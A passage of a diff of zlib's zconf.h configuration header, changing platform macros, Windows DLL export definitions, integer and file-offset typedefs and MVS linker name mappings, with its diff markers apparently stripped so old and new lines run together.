/* all zlib typedefs in zlib.h and zconf.h */
|
||||
# define Byte z_Byte
|
||||
# define Bytef z_Bytef
|
||||
# define alloc_func z_alloc_func
|
||||
# define charf z_charf
|
||||
# define free_func z_free_func
|
||||
# ifndef Z_SOLO
|
||||
# define gzFile z_gzFile
|
||||
# endif
|
||||
# define gz_header z_gz_header
|
||||
# define gz_headerp z_gz_headerp
|
||||
# define in_func z_in_func
|
||||
# define intf z_intf
|
||||
# define out_func z_out_func
|
||||
# define uInt z_uInt
|
||||
# define uIntf z_uIntf
|
||||
# define uLong z_uLong
|
||||
# define uLongf z_uLongf
|
||||
# define voidp z_voidp
|
||||
# define voidpc z_voidpc
|
||||
# define voidpf z_voidpf
|
||||
|
||||
/* all zlib structs in zlib.h and zconf.h */
|
||||
# define gz_header_s z_gz_header_s
|
||||
# define internal_state z_internal_state
|
||||
|
||||
#endif
|
||||
|
||||
#if defined(__MSDOS__) && !defined(MSDOS)
|
||||
# define MSDOS
|
||||
#endif
|
||||
#if (defined(OS_2) || defined(__OS2__)) && !defined(OS2)
|
||||
# define OS2
|
||||
#endif
|
||||
#if defined(_WINDOWS) && !defined(WINDOWS)
|
||||
# define WINDOWS
|
||||
#endif
|
||||
#if defined(_WIN32) || defined(_WIN32_WCE) || defined(__WIN32__)
|
||||
# ifndef WIN32
|
||||
# define WIN32
|
||||
# endif
|
||||
#endif
|
||||
#if (defined(MSDOS) || defined(OS2) || defined(WINDOWS)) && !defined(WIN32)
|
||||
# if !defined(__GNUC__) && !defined(__FLAT__) && !defined(__386__)
|
||||
# ifndef SYS16BIT
|
||||
# define SYS16BIT
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Compile with -DMAXSEG_64K if the alloc function cannot allocate more
|
||||
* than 64k bytes at a time (needed on systems with 16-bit int).
|
||||
*/
|
||||
#if defined(MSDOS) && !defined(__32BIT__)
|
||||
#ifdef SYS16BIT
|
||||
# define MAXSEG_64K
|
||||
#endif
|
||||
#ifdef MSDOS
|
||||
# define UNALIGNED_OK
|
||||
#endif
|
||||
|
||||
#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC)
|
||||
# define STDC
|
||||
#endif
|
||||
#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
|
||||
#ifdef __STDC_VERSION__
|
||||
# ifndef STDC
|
||||
# define STDC
|
||||
# endif
|
||||
# if __STDC_VERSION__ >= 199901L
|
||||
# ifndef STDC99
|
||||
# define STDC99
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
#if !defined(STDC) && (defined(__STDC__) || defined(__cplusplus))
|
||||
# define STDC
|
||||
#endif
|
||||
#if !defined(STDC) && (defined(__GNUC__) || defined(__BORLANDC__))
|
||||
# define STDC
|
||||
#endif
|
||||
#if !defined(STDC) && (defined(MSDOS) || defined(WINDOWS) || defined(WIN32))
|
||||
# define STDC
|
||||
#endif
|
||||
#if !defined(STDC) && (defined(OS2) || defined(__HOS_AIX__))
|
||||
# define STDC
|
||||
#endif
|
||||
|
||||
#if defined(__OS400__) && !defined(STDC) /* iSeries (formerly AS/400). */
|
||||
# define STDC
|
||||
#endif
|
||||
|
||||
#ifndef STDC
|
||||
# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
|
||||
# define const
|
||||
# define const /* note: need a more gentle solution here */
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* Some Mac compilers merge all .h files incorrectly: */
|
||||
#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
|
||||
# define NO_DUMMY_DECL
|
||||
#if defined(ZLIB_CONST) && !defined(z_const)
|
||||
# define z_const const
|
||||
#else
|
||||
# define z_const
|
||||
#endif
|
||||
|
||||
/* Old Borland C incorrectly complains about missing returns: */
|
||||
#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
|
||||
# define NEED_DUMMY_RETURN
|
||||
#ifdef Z_SOLO
|
||||
typedef unsigned long z_size_t;
|
||||
#else
|
||||
# define z_longlong long long
|
||||
# if defined(NO_SIZE_T)
|
||||
typedef unsigned NO_SIZE_T z_size_t;
|
||||
# elif defined(STDC)
|
||||
# include <stddef.h>
|
||||
typedef size_t z_size_t;
|
||||
# else
|
||||
typedef unsigned long z_size_t;
|
||||
# endif
|
||||
# undef z_longlong
|
||||
#endif
|
||||
|
||||
|
||||
/* Maximum value for memLevel in deflateInit2 */
|
||||
#ifndef MAX_MEM_LEVEL
|
||||
# ifdef MAXSEG_64K
|
||||
@@ -124,7 +279,7 @@
|
||||
Of course this will generally degrade compression (there's no free lunch).
|
||||
|
||||
The memory requirements for inflate are (in bytes) 1 << windowBits
|
||||
that is, 32K for windowBits=15 (default value) plus a few kilobytes
|
||||
that is, 32K for windowBits=15 (default value) plus about 7 kilobytes
|
||||
for small objects.
|
||||
*/
|
||||
|
||||
@@ -138,79 +293,101 @@
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifndef Z_ARG /* function prototypes for stdarg */
|
||||
# if defined(STDC) || defined(Z_HAVE_STDARG_H)
|
||||
# define Z_ARG(args) args
|
||||
# else
|
||||
# define Z_ARG(args) ()
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* The following definitions for FAR are needed only for MSDOS mixed
|
||||
* model programming (small or medium model with some far allocations).
|
||||
* This was tested only with MSC; for other MSDOS compilers you may have
|
||||
* to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
|
||||
* just define FAR to be empty.
|
||||
*/
|
||||
#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
|
||||
/* MSC small or medium model */
|
||||
# define SMALL_MEDIUM
|
||||
# ifdef _MSC_VER
|
||||
# define FAR _far
|
||||
# else
|
||||
# define FAR far
|
||||
# endif
|
||||
#endif
|
||||
#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
|
||||
# ifndef __32BIT__
|
||||
#ifdef SYS16BIT
|
||||
# if defined(M_I86SM) || defined(M_I86MM)
|
||||
/* MSC small or medium model */
|
||||
# define SMALL_MEDIUM
|
||||
# define FAR _far
|
||||
# ifdef _MSC_VER
|
||||
# define FAR _far
|
||||
# else
|
||||
# define FAR far
|
||||
# endif
|
||||
# endif
|
||||
# if (defined(__SMALL__) || defined(__MEDIUM__))
|
||||
/* Turbo C small or medium model */
|
||||
# define SMALL_MEDIUM
|
||||
# ifdef __BORLANDC__
|
||||
# define FAR _far
|
||||
# else
|
||||
# define FAR far
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* Compile with -DZLIB_DLL for Windows DLL support */
|
||||
#if defined(ZLIB_DLL)
|
||||
# if defined(_WINDOWS) || defined(WINDOWS)
|
||||
#if defined(WINDOWS) || defined(WIN32)
|
||||
/* If building or using zlib as a DLL, define ZLIB_DLL.
|
||||
* This is not mandatory, but it offers a little performance increase.
|
||||
*/
|
||||
# ifdef ZLIB_DLL
|
||||
# if defined(WIN32) && (!defined(__BORLANDC__) || (__BORLANDC__ >= 0x500))
|
||||
# ifdef ZLIB_INTERNAL
|
||||
# define ZEXTERN extern __declspec(dllexport)
|
||||
# else
|
||||
# define ZEXTERN extern __declspec(dllimport)
|
||||
# endif
|
||||
# endif
|
||||
# endif /* ZLIB_DLL */
|
||||
/* If building or using zlib with the WINAPI/WINAPIV calling convention,
|
||||
* define ZLIB_WINAPI.
|
||||
* Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI.
|
||||
*/
|
||||
# ifdef ZLIB_WINAPI
|
||||
# ifdef FAR
|
||||
# undef FAR
|
||||
# endif
|
||||
# include <windows.h>
|
||||
# define ZEXPORT WINAPI
|
||||
/* No need for _export, use ZLIB.DEF instead. */
|
||||
/* For complete Windows compatibility, use WINAPI, not __stdcall. */
|
||||
# define ZEXPORT WINAPI
|
||||
# ifdef WIN32
|
||||
# define ZEXPORTVA WINAPIV
|
||||
# define ZEXPORTVA WINAPIV
|
||||
# else
|
||||
# define ZEXPORTVA FAR _cdecl _export
|
||||
# endif
|
||||
# endif
|
||||
# if defined (__BORLANDC__)
|
||||
# if (__BORLANDC__ >= 0x0500) && defined (WIN32)
|
||||
# include <windows.h>
|
||||
# define ZEXPORT __declspec(dllexport) WINAPI
|
||||
# define ZEXPORTRVA __declspec(dllexport) WINAPIV
|
||||
# else
|
||||
# if defined (_Windows) && defined (__DLL__)
|
||||
# define ZEXPORT _export
|
||||
# define ZEXPORTVA _export
|
||||
# endif
|
||||
# define ZEXPORTVA FAR CDECL
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if defined (__BEOS__)
|
||||
# if defined (ZLIB_DLL)
|
||||
# define ZEXTERN extern __declspec(dllexport)
|
||||
# else
|
||||
# define ZEXTERN extern __declspec(dllimport)
|
||||
# ifdef ZLIB_DLL
|
||||
# ifdef ZLIB_INTERNAL
|
||||
# define ZEXPORT __declspec(dllexport)
|
||||
# define ZEXPORTVA __declspec(dllexport)
|
||||
# else
|
||||
# define ZEXPORT __declspec(dllimport)
|
||||
# define ZEXPORTVA __declspec(dllimport)
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifndef ZEXTERN
|
||||
# define ZEXTERN extern
|
||||
#endif
|
||||
#ifndef ZEXPORT
|
||||
# define ZEXPORT
|
||||
#endif
|
||||
#ifndef ZEXPORTVA
|
||||
# define ZEXPORTVA
|
||||
#endif
|
||||
#ifndef ZEXTERN
|
||||
# define ZEXTERN extern
|
||||
#endif
|
||||
|
||||
#ifndef FAR
|
||||
# define FAR
|
||||
# define FAR
|
||||
#endif
|
||||
|
||||
#if !defined(MACOS) && !defined(TARGET_OS_MAC)
|
||||
#if !defined(__MACTYPES__)
|
||||
typedef unsigned char Byte; /* 8 bits */
|
||||
#endif
|
||||
typedef unsigned int uInt; /* 16 bits or more */
|
||||
@@ -228,52 +405,130 @@ typedef uInt FAR uIntf;
|
||||
typedef uLong FAR uLongf;
|
||||
|
||||
#ifdef STDC
|
||||
typedef void FAR *voidpf;
|
||||
typedef void *voidp;
|
||||
typedef void const *voidpc;
|
||||
typedef void FAR *voidpf;
|
||||
typedef void *voidp;
|
||||
#else
|
||||
typedef Byte FAR *voidpf;
|
||||
typedef Byte *voidp;
|
||||
typedef Byte const *voidpc;
|
||||
typedef Byte FAR *voidpf;
|
||||
typedef Byte *voidp;
|
||||
#endif
|
||||
|
||||
#ifdef HAVE_UNISTD_H
|
||||
# include <sys/types.h> /* for off_t */
|
||||
# include <unistd.h> /* for SEEK_* and off_t */
|
||||
# define z_off_t off_t
|
||||
#if !defined(Z_U4) && !defined(Z_SOLO) && defined(STDC)
|
||||
# include <limits.h>
|
||||
# if (UINT_MAX == 0xffffffffUL)
|
||||
# define Z_U4 unsigned
|
||||
# elif (ULONG_MAX == 0xffffffffUL)
|
||||
# define Z_U4 unsigned long
|
||||
# elif (USHRT_MAX == 0xffffffffUL)
|
||||
# define Z_U4 unsigned short
|
||||
# endif
|
||||
#endif
|
||||
#ifndef SEEK_SET
|
||||
|
||||
#ifdef Z_U4
|
||||
typedef Z_U4 z_crc_t;
|
||||
#else
|
||||
typedef unsigned long z_crc_t;
|
||||
#endif
|
||||
|
||||
#ifdef HAVE_UNISTD_H /* may be set to #if 1 by ./configure */
|
||||
# define Z_HAVE_UNISTD_H
|
||||
#endif
|
||||
|
||||
#ifdef HAVE_STDARG_H /* may be set to #if 1 by ./configure */
|
||||
# define Z_HAVE_STDARG_H
|
||||
#endif
|
||||
|
||||
#ifdef STDC
|
||||
# ifndef Z_SOLO
|
||||
# include <sys/types.h> /* for off_t */
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if defined(STDC) || defined(Z_HAVE_STDARG_H)
|
||||
# ifndef Z_SOLO
|
||||
# include <stdarg.h> /* for va_list */
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifdef _WIN32
|
||||
# ifndef Z_SOLO
|
||||
# include <stddef.h> /* for wchar_t */
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* a little trick to accommodate both "#define _LARGEFILE64_SOURCE" and
|
||||
* "#define _LARGEFILE64_SOURCE 1" as requesting 64-bit operations, (even
|
||||
* though the former does not conform to the LFS document), but considering
|
||||
* both "#undef _LARGEFILE64_SOURCE" and "#define _LARGEFILE64_SOURCE 0" as
|
||||
* equivalently requesting no 64-bit operations
|
||||
*/
|
||||
#if defined(_LARGEFILE64_SOURCE) && -_LARGEFILE64_SOURCE - -1 == 1
|
||||
# undef _LARGEFILE64_SOURCE
|
||||
#endif
|
||||
|
||||
#if defined(__WATCOMC__) && !defined(Z_HAVE_UNISTD_H)
|
||||
# define Z_HAVE_UNISTD_H
|
||||
#endif
|
||||
#ifndef Z_SOLO
|
||||
# if defined(Z_HAVE_UNISTD_H) || defined(_LARGEFILE64_SOURCE)
|
||||
# include <unistd.h> /* for SEEK_*, off_t, and _LFS64_LARGEFILE */
|
||||
# ifdef VMS
|
||||
# include <unixio.h> /* for off_t */
|
||||
# endif
|
||||
# ifndef z_off_t
|
||||
# define z_off_t off_t
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if defined(_LFS64_LARGEFILE) && _LFS64_LARGEFILE-0
|
||||
# define Z_LFS64
|
||||
#endif
|
||||
|
||||
#if defined(_LARGEFILE64_SOURCE) && defined(Z_LFS64)
|
||||
# define Z_LARGE64
|
||||
#endif
|
||||
|
||||
#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS-0 == 64 && defined(Z_LFS64)
|
||||
# define Z_WANT64
|
||||
#endif
|
||||
|
||||
#if !defined(SEEK_SET) && !defined(Z_SOLO)
|
||||
# define SEEK_SET 0 /* Seek from beginning of file. */
|
||||
# define SEEK_CUR 1 /* Seek from current position. */
|
||||
# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */
|
||||
#endif
|
||||
|
||||
#ifndef z_off_t
|
||||
# define z_off_t long
|
||||
# define z_off_t long
|
||||
#endif
|
||||
|
||||
#if !defined(_WIN32) && defined(Z_LARGE64)
|
||||
# define z_off64_t off64_t
|
||||
#else
|
||||
# if defined(_WIN32) && !defined(__GNUC__) && !defined(Z_SOLO)
|
||||
# define z_off64_t __int64
|
||||
# else
|
||||
# define z_off64_t z_off_t
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* MVS linker does not support external names larger than 8 bytes */
|
||||
#if defined(__MVS__)
|
||||
# pragma map(deflateInit_,"DEIN")
|
||||
# pragma map(deflateInit2_,"DEIN2")
|
||||
# pragma map(deflateEnd,"DEEND")
|
||||
# pragma map(inflateInit_,"ININ")
|
||||
# pragma map(inflateInit2_,"ININ2")
|
||||
# pragma map(inflateEnd,"INEND")
|
||||
# pragma map(inflateSync,"INSY")
|
||||
# pragma map(inflateSetDictionary,"INSEDI")
|
||||
# pragma map(inflate_blocks,"INBL")
|
||||
# pragma map(inflate_blocks_new,"INBLNE")
|
||||
# pragma map(inflate_blocks_free,"INBLFR")
|
||||
# pragma map(inflate_blocks_reset,"INBLRE")
|
||||
# pragma map(inflate_codes_free,"INCOFR")
|
||||
# pragma map(inflate_codes,"INCO")
|
||||
# pragma map(inflate_fast,"INFA")
|
||||
# pragma map(inflate_flush,"INFLU")
|
||||
# pragma map(inflate_mask,"INMA")
|
||||
# pragma map(inflate_set_dictionary,"INSEDI2")
|
||||
# pragma map(inflate_copyright,"INCOPY")
|
||||
# pragma map(inflate_trees_bits,"INTRBI")
|
||||
# pragma map(inflate_trees_dynamic,"INTRDY")
|
||||
# pragma map(inflate_trees_fixed,"INTRFI")
|
||||
# pragma map(inflate_trees_free,"INTRFR")
|
||||
#pragma map(deflateInit_,"DEIN")
|
||||
#pragma map(deflateInit2_,"DEIN2")
|
||||
#pragma map(deflateEnd,"DEEND")
|
||||
#pragma map(deflateBound,"DEBND")
|
||||
#pragma map(inflateInit_,"ININ")
|
||||
#pragma map(inflateInit2_,"ININ2")
|
||||
#pragma map(inflateEnd,"INEND")
|
||||
#pragma map(inflateSync,"INSY")
|
||||
#pragma map(inflateSetDictionary,"INSEDI")
|
||||
#pragma map(compressBound,"CMBND")
|
||||
#pragma map(inflate_table,"INTABL")
|
||||
#pragma map(inflate_fast,"INFA")
|
||||
#pragma map(inflate_copyright,"INCOPY")
|
||||
#endif
|
||||
|
||||
#endif /* _ZCONF_H */
|
||||
#endif /* ZCONF_H */
|
||||
|